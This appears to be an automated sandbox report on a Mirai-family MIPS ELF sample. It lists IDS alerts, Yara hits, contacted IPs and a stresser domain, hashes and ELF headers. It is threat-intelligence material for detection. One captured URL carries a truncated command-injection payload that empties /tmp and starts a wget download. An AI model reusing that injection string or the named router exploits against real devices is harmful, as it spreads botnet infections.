Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)

Yara detected Mirai

Source: Yara match	File source: mpsl.elf, type: SAMPLE
Source: Yara match	File source: 6225.1.00007ff8bc400000.00007ff8bc416000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6221.1.00007ff8bc400000.00007ff8bc416000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: mpsl.elf PID: 6221, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: mpsl.elf PID: 6225, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	Direct Volume Access	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	1 Ingress Tool Transfer	Scheduled Transfer	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label	Link
mpsl.elf	66%	ReversingLabs	Linux.Trojan.Mirai
mpsl.elf	100%	Avira	EXP/ELF.Gafgyt.T

Source	Detection	Scanner	Label	Link
http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
scamanje.stresserit.pro	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/	mpsl.elf	false		high
http://schemas.xmlsoap.org/soap/envelope/	mpsl.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
51.122.46.14	unknown	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.19.109.163	unknown	United Kingdom	17804	LAODC-AS-APLaoDataCenterLA	false
156.158.98.11	unknown	Tanzania United Republic of	37133	airtel-tz-asTZ	false
126.120.51.121	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
123.81.9.218	unknown	China	9394	CTTNETChinaTieTongTelecommunicationsCorporationCN	false
14.98.128.101	unknown	India	45820	TTSL-MEISISPTataTeleservicesISPASIN	false
100.128.59.17	unknown	United States	21928	T-MOBILE-AS21928US	false
222.182.208.58	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
184.35.90.244	unknown	United States	5778	CENTURYLINK-LEGACY-EMBARQ-RCMTUS	false
114.103.0.19	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
201.77.56.58	unknown	Brazil	28583	RuralWebTelecomunicacoesLtdaBR	false
197.164.175.139	unknown	Egypt	24863	LINKdotNET-ASEG	false
189.232.71.45	unknown	Mexico	8151	UninetSAdeCVMX	false
139.124.229.162	unknown	France	2457	FR-RAIMU-2ReseaudecollectedesUniversitesdAixMarseill	false
41.125.243.120	unknown	South Africa	16637	MTNNS-ASZA	false
81.24.25.129	unknown	Romania	6663	TTI-NETRO	false
41.87.73.236	unknown	Nigeria	37248	PHASE3TELNG	false
41.170.14.48	unknown	South Africa	36937	Neotel-ASZA	false
107.121.164.5	unknown	United States	7018	ATT-INTERNET4US	false
41.92.113.19	unknown	Morocco	36925	ASMediMA	true
154.187.207.48	unknown	Egypt	8452	TE-ASTE-ASEG	false
180.91.109.246	unknown	China	7497	CSTNET-AS-APComputerNetworkInformationCenterCN	false
197.108.90.216	unknown	South Africa	37168	CELL-CZA	false
156.118.224.105	unknown	France	59863	NORSKREGNESENTRALNO	false
41.227.18.72	unknown	Tunisia	2609	TN-BB-ASTunisiaBackBoneASTN	false
220.111.138.214	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
156.46.254.198	unknown	United States	3527	NIH-NETUS	false
197.249.181.86	unknown	Mozambique	25139	TVCABO-ASEU	false
102.159.88.192	unknown	Tunisia	37705	TOPNETTN	false
122.108.231.201	unknown	Australia	4804	MPX-ASMicroplexPTYLTDAU	false
209.62.244.157	unknown	United States	32719	BEPC-ASUS	false
184.183.128.27	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	false
95.151.218.91	unknown	United Kingdom	12576	EELtdGB	false
169.25.95.38	unknown	United States	37611	AfrihostZA	false
126.8.21.157	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
109.115.234.15	unknown	Italy	30722	VODAFONE-IT-ASNIT	false
197.43.51.127	unknown	Egypt	8452	TE-ASTE-ASEG	false
179.158.159.39	unknown	Brazil	28573	CLAROSABR	false
73.245.130.94	unknown	United States	7922	COMCAST-7922US	false
217.139.1.131	unknown	Egypt	20928	NOOR-ASEG	false
197.192.154.245	unknown	Egypt	36992	ETISALAT-MISREG	false
180.140.198.116	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
172.11.166.242	unknown	United States	7018	ATT-INTERNET4US	false
162.185.219.169	unknown	United States	21928	T-MOBILE-AS21928US	false
41.92.113.30	unknown	Morocco	36925	ASMediMA	false
141.86.108.44	unknown	United States	24771	FIAT-AS2IT	false
223.95.150.20	unknown	China	56041	CMNET-ZHEJIANG-APChinaMobilecommunicationscorporationC	false
197.179.30.7	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
130.142.196.172	unknown	Netherlands	137	ASGARRConsortiumGARREU	false
166.66.50.54	unknown	United States	22192	SSHENETUS	false
217.149.26.127	unknown	Russian Federation	31512	LOGICA-ASRU	false
173.132.231.28	unknown	United States	10507	SPCSUS	false
158.164.209.201	unknown	United States	721	DNIC-ASBLK-00721-00726US	false
156.235.189.135	unknown	Seychelles	134548	DXTL-HKDXTLTseungKwanOServiceHK	false
180.45.208.53	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
148.189.217.37	unknown	United States	42652	DELUNETDE	false
218.110.238.119	unknown	Japan	2527	SO-NETSo-netEntertainmentCorporationJP	false
43.72.210.35	unknown	Japan	4249	LILLY-ASUS	false
197.76.213.138	unknown	South Africa	16637	MTNNS-ASZA	false
164.61.200.136	unknown	Germany	8569	MSYSDE	false
31.172.254.97	unknown	United Kingdom	34920	SIMPLY-ROMFORDGB	false
78.145.16.188	unknown	United Kingdom	13285	OPALTELECOM-ASTalkTalkCommunicationsLimitedGB	false
41.191.119.102	unknown	Zambia	37185	ISAT-Africa-ZambiaZM	false
41.240.121.98	unknown	Sudan	36998	SDN-MOBITELSD	false
160.75.21.76	unknown	Turkey	9095	IstanbulTeknikUniversitesiTR	false
197.70.138.207	unknown	South Africa	16637	MTNNS-ASZA	false
131.244.225.49	unknown	Australia	24436	UQ-AS-APUniversityofQueenslandAU	false
197.221.56.218	unknown	South Africa	37153	xneeloZA	false
216.157.116.91	unknown	United States	40351	AS-PLDPCUS	false
156.84.227.199	unknown	United States	10695	WAL-MARTUS	false
41.216.98.131	unknown	Mauritius	37006	LiquidTelecommunicationRwandaRW	false
36.99.183.94	unknown	China	137687	CHINATELECOM-HENAN-LUOYANG-IDCLuoyangHenanProvincePR	false
193.42.128.86	unknown	Czech Republic	34093	PLUSLINE-ASCZ	false
41.151.40.7	unknown	South Africa	5713	SAIX-NETZA	false
1.191.91.215	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
179.44.30.182	unknown	Venezuela	22927	TelefonicadeArgentinaAR	false
147.17.58.7	unknown	United States	10796	TWC-10796-MIDWESTUS	false
177.233.175.202	unknown	Mexico	13591	MexicoReddeTelecomunicacionesSdeRLdeCVMX	false
156.46.206.248	unknown	United States	3527	NIH-NETUS	false
111.231.124.167	unknown	China	45090	CNNIC-TENCENT-NET-APShenzhenTencentComputerSystemsCompa	false
192.20.193.29	unknown	United States	8030	WORLDNET5-10US	false
104.249.116.5	unknown	United States	23024	OCDEUS	false
41.196.116.107	unknown	Egypt	24863	LINKdotNET-ASEG	false
191.48.254.131	unknown	Brazil	26615	TIMSABR	false
17.160.173.32	unknown	United States	714	APPLE-ENGINEERINGUS	false
156.90.215.17	unknown	United States	7046	RFC2270-UUNET-CUSTOMERUS	false
41.85.32.147	unknown	South Africa	22355	FROGFOOTZA	false
119.108.3.221	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
141.139.64.118	unknown	United States	13046	ASN-ISKONHEPHR	false
41.169.198.125	unknown	South Africa	36937	Neotel-ASZA	false
51.59.18.198	unknown	United Kingdom	2686	ATGS-MMD-ASUS	false
14.234.227.138	unknown	Viet Nam	45899	VNPT-AS-VNVNPTCorpVN	false
42.112.218.241	unknown	Viet Nam	18403	FPT-AS-APTheCorporationforFinancingPromotingTechnolo	false
157.157.15.64	unknown	Iceland	6677	ICENET-AS1IS	false
197.87.110.33	unknown	South Africa	10474	OPTINETZA	false
114.214.82.168	unknown	China	4538	ERX-CERNET-BKBChinaEducationandResearchNetworkCenter	false
197.19.253.137	unknown	Tunisia	37693	TUNISIANATN	false
197.109.134.22	unknown	South Africa	37168	CELL-CZA	false
211.99.11.172	unknown	China	9814	FIBRLINKBeijingFibrLINKNetworksCoLtdCN	false
202.145.53.192	unknown	Taiwan; Republic of China (ROC)	9924	TFN-TWTaiwanFixedNetworkTelcoandNetworkServiceProvi	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
114.103.0.19	arm	Get hash	malicious	Mirai	Browse
114.103.0.19	h9a1NEWEeR	Get hash	malicious	Mirai	Browse
185.19.109.163	3DF6fqp3ME.elf	Get hash	malicious	Mirai	Browse
	tc1L4NlypM	Get hash	malicious	Mirai	Browse
	Anti.x86	Get hash	malicious	Mirai	Browse
156.158.98.11	Lmck6LFSzS.elf	Get hash	malicious	Mirai, Moobot	Browse
	TaNPXR0Onz.elf	Get hash	malicious	Mirai	Browse
	KHSQ48GkGn	Get hash	malicious	Mirai	Browse
201.77.56.58	arm7	Get hash	malicious	Mirai	Browse
197.164.175.139	hmips.elf	Get hash	malicious	Mirai	Browse
	harm6.elf	Get hash	malicious	Mirai	Browse
	So3Wubm3yB.elf	Get hash	malicious	Mirai, Moobot	Browse
	x86-20221110-2251.elf	Get hash	malicious	Mirai	Browse
	ak.arm4-20220923-0709.elf	Get hash	malicious	Mirai	Browse
	Rf6aAjtlrB	Get hash	malicious	Mirai	Browse
	zPyKwt8gSO	Get hash	malicious	Unknown	Browse
	X23w5tKkA0	Get hash	malicious	Mirai	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
LAODC-AS-APLaoDataCenterLA	nklsh4.elf	Get hash	malicious	Unknown	Browse	185.19.109.123
	3DF6fqp3ME.elf	Get hash	malicious	Mirai	Browse	185.19.109.163
	lS9yzwGRef.elf	Get hash	malicious	Mirai	Browse	185.19.109.128
	QXp14SFCPn.elf	Get hash	malicious	Mirai	Browse	185.19.109.143
	skyljne.mpsl.elf	Get hash	malicious	Mirai	Browse	185.19.109.152
	fQ3EaenTAg.elf	Get hash	malicious	Mirai	Browse	185.19.109.157
	LdniCba202.elf	Get hash	malicious	Mirai	Browse	185.19.109.126
	Hilix.x86.elf	Get hash	malicious	Mirai	Browse	185.19.109.116
	PAbGSuiyZD.elf	Get hash	malicious	Mirai	Browse	185.19.109.147
	64CU11Bnfr.elf	Get hash	malicious	Mirai	Browse	185.19.109.109
airtel-tz-asTZ	sh4.elf	Get hash	malicious	Mirai	Browse	156.156.109.186
	arm7.elf	Get hash	malicious	Mirai	Browse	156.158.50.48
	nsharm7.elf	Get hash	malicious	Mirai	Browse	156.158.50.22
	arm7.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	156.157.55.83
	arm5.elf	Get hash	malicious	Mirai	Browse	156.158.50.21
	mips.elf	Get hash	malicious	Mirai	Browse	156.158.25.66
	arm.elf	Get hash	malicious	Mirai	Browse	156.158.25.65
	arm7.elf	Get hash	malicious	Mirai	Browse	156.158.248.172
	la.bot.arm.elf	Get hash	malicious	Mirai	Browse	197.186.231.246
	mips.elf	Get hash	malicious	Mirai	Browse	156.158.248.144
MICROSOFT-CORP-MSN-AS-BLOCKUS	teste.x86.elf	Get hash	malicious	Mirai, Moobot, Okiru	Browse	20.18.255.148
	mips.elf	Get hash	malicious	Mirai	Browse	20.1.227.155
	teste.arm7.elf	Get hash	malicious	Mirai, Moobot, Okiru	Browse	143.98.89.8
	teste.arm.elf	Get hash	malicious	Gafgyt, Mirai, Moobot, Okiru	Browse	51.110.51.24
	arm.elf	Get hash	malicious	Mirai	Browse	20.4.168.228
	xd.mips.elf	Get hash	malicious	Mirai	Browse	20.161.73.42
	xd.ppc.elf	Get hash	malicious	Mirai	Browse	40.103.89.245
	xd.arm7.elf	Get hash	malicious	Mirai	Browse	20.11.78.164
	xd.arm.elf	Get hash	malicious	Mirai	Browse	20.106.143.41
	xd.sh4.elf	Get hash	malicious	Mirai	Browse	20.233.67.234

File type:	ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.559811441128706
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	mpsl.elf
File size:	92'352 bytes
MD5:	58795d4c9d5f620b48ccf3a5a15d1901
SHA1:	4163f71b6cfbdd2a860654b2c02c821af400ab5c
SHA256:	e6e192914b00a8295a96acf98020aab0c3db88329b0d0b209e99682e6c6492e1
SHA512:	05df4d4f672f8d0d82a529db2d8877098ccbb40480a7282d6059737af87ae67928b8cbe75c59d709580e77dde0b28f96a5badbc060be5bcea59f4331bfe34104
SSDEEP:	1536:VE8u+s5gBkvOWgsBZ936oqGxSmZ9lPOPPu:G8q5gGOHsDSm
TLSH:	B193A309BF610FFBE8AACC3749E91B0129CD641A61A87B757A34D418F78B24F15E3874
File Content Preview:	.ELF....................`.@.4....f......4. ...(...............@...@.p\..p\...............`...`E..`E.,...............Q.td...............................<...'!......'.......................<...'!... .........9'.. ........................<x..'!...........PF9

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	MIPS R3000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x400260
Flags:	0x1007
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	91792
Section Header Size:	40
Number of Section Headers:	14
Header String Table Index:	13

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x8c	0x0	0x6	AX	4
.text	PROGBITS	0x400120	0x120	0x145a0	0x0	0x6	AX	16
.fini	PROGBITS	0x4146c0	0x146c0	0x5c	0x0	0x6	AX	4
.rodata	PROGBITS	0x414720	0x14720	0x1550	0x0	0x2	A	16
.ctors	PROGBITS	0x456000	0x16000	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x456008	0x16008	0x8	0x0	0x3	WA	4
.data.rel.ro	PROGBITS	0x456014	0x16014	0x4	0x0	0x3	WA	4
.data	PROGBITS	0x456020	0x16020	0x250	0x0	0x3	WA	16
.got	PROGBITS	0x456270	0x16270	0x3bc	0x4	0x10000003	WAp	16
.sbss	NOBITS	0x45662c	0x1662c	0x24	0x0	0x10000003	WAp	4
.bss	NOBITS	0x456650	0x1662c	0x488	0x0	0x3	WA	16
.mdebug.abi32	PROGBITS	0x6d2	0x1662c	0x0	0x0	0x0		1
.shstrtab	STRTAB	0x0	0x1662c	0x64	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0x15c70	0x15c70	5.6120	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x16000	0x456000	0x456000	0x62c	0xad8	3.9800	0x6	RW	0x10000	.ctors .dtors .data.rel.ro .data .got .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-03T22:11:52.043183+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41454	13.227.133.150	80	TCP
2024-12-03T22:11:52.043183+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41454	13.227.133.150	80	TCP
2024-12-03T22:11:52.044405+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43764	185.248.148.162	80	TCP
2024-12-03T22:11:52.044405+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43764	185.248.148.162	80	TCP
2024-12-03T22:11:52.220853+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	54008	209.250.24.111	80	TCP
2024-12-03T22:11:52.220853+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	54008	209.250.24.111	80	TCP
2024-12-03T22:11:52.953349+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34016	121.127.51.127	80	TCP
2024-12-03T22:11:52.953349+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34016	121.127.51.127	80	TCP
2024-12-03T22:11:53.316258+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38726	175.229.50.139	80	TCP
2024-12-03T22:11:53.316258+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38726	175.229.50.139	80	TCP
2024-12-03T22:11:53.505517+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41758	211.248.1.241	80	TCP
2024-12-03T22:11:53.505517+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41758	211.248.1.241	80	TCP
2024-12-03T22:11:53.856292+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60026	112.155.127.190	80	TCP
2024-12-03T22:11:53.856292+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60026	112.155.127.190	80	TCP
2024-12-03T22:11:55.198240+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	41114	156.47.36.125	37215	TCP
2024-12-03T22:11:55.845865+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56720	197.100.146.120	37215	TCP
2024-12-03T22:11:58.632468+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45254	185.159.154.104	80	TCP
2024-12-03T22:11:58.632468+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45254	185.159.154.104	80	TCP
2024-12-03T22:11:59.085094+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43082	65.9.66.156	80	TCP
2024-12-03T22:11:59.085094+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43082	65.9.66.156	80	TCP
2024-12-03T22:12:02.566978+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	57428	197.157.228.197	37215	TCP
2024-12-03T22:12:03.390059+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	45474	156.250.76.145	37215	TCP
2024-12-03T22:12:05.144215+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	58464	156.233.119.35	80	TCP
2024-12-03T22:12:05.144215+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	58464	156.233.119.35	80	TCP
2024-12-03T22:12:05.381189+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55366	38.12.53.231	80	TCP
2024-12-03T22:12:05.381189+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55366	38.12.53.231	80	TCP
2024-12-03T22:12:07.508790+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56718	41.233.239.49	37215	TCP
2024-12-03T22:12:08.261944+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59254	35.156.77.102	80	TCP
2024-12-03T22:12:08.261944+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59254	35.156.77.102	80	TCP
2024-12-03T22:12:09.868068+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38762	51.134.184.47	80	TCP
2024-12-03T22:12:09.868068+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38762	51.134.184.47	80	TCP
2024-12-03T22:12:09.893063+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	49774	115.148.141.242	80	TCP
2024-12-03T22:12:09.893063+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	49774	115.148.141.242	80	TCP
2024-12-03T22:12:09.940044+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47296	60.49.222.42	80	TCP
2024-12-03T22:12:09.940044+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47296	60.49.222.42	80	TCP
2024-12-03T22:12:09.955877+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43438	140.106.83.149	80	TCP
2024-12-03T22:12:09.955877+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43438	140.106.83.149	80	TCP
2024-12-03T22:12:09.962254+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	56342	77.64.164.173	80	TCP
2024-12-03T22:12:09.962254+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	56342	77.64.164.173	80	TCP
2024-12-03T22:12:09.977723+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60248	217.26.115.252	80	TCP
2024-12-03T22:12:09.977723+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60248	217.26.115.252	80	TCP
2024-12-03T22:12:09.993246+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60630	170.111.11.90	80	TCP
2024-12-03T22:12:09.993246+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60630	170.111.11.90	80	TCP
2024-12-03T22:12:09.993414+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	56886	180.14.36.140	80	TCP
2024-12-03T22:12:09.993414+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	56886	180.14.36.140	80	TCP
2024-12-03T22:12:10.009602+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	51872	217.229.54.255	80	TCP
2024-12-03T22:12:10.009602+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	51872	217.229.54.255	80	TCP
2024-12-03T22:12:10.024940+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42484	144.30.94.29	80	TCP
2024-12-03T22:12:10.024940+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42484	144.30.94.29	80	TCP
2024-12-03T22:12:10.026015+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	58948	188.239.8.166	80	TCP
2024-12-03T22:12:10.026015+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	58948	188.239.8.166	80	TCP
2024-12-03T22:12:10.027811+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	46362	14.141.3.196	80	TCP
2024-12-03T22:12:10.027811+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	46362	14.141.3.196	80	TCP
2024-12-03T22:12:10.050343+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43048	77.9.102.153	80	TCP
2024-12-03T22:12:10.050343+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43048	77.9.102.153	80	TCP
2024-12-03T22:12:10.050343+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38370	158.241.3.93	80	TCP
2024-12-03T22:12:10.050343+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38370	158.241.3.93	80	TCP
2024-12-03T22:12:10.050601+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	54236	160.247.51.9	80	TCP
2024-12-03T22:12:10.050601+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	54236	160.247.51.9	80	TCP
2024-12-03T22:12:10.080488+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42346	54.224.48.72	80	TCP
2024-12-03T22:12:10.080488+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42346	54.224.48.72	80	TCP
2024-12-03T22:12:10.096576+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34558	59.75.42.59	80	TCP
2024-12-03T22:12:10.096576+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34558	59.75.42.59	80	TCP
2024-12-03T22:12:10.883806+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43644	60.191.15.52	80	TCP
2024-12-03T22:12:10.883806+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43644	60.191.15.52	80	TCP
2024-12-03T22:12:10.893307+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	36434	112.17.46.206	80	TCP
2024-12-03T22:12:10.893307+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	36434	112.17.46.206	80	TCP
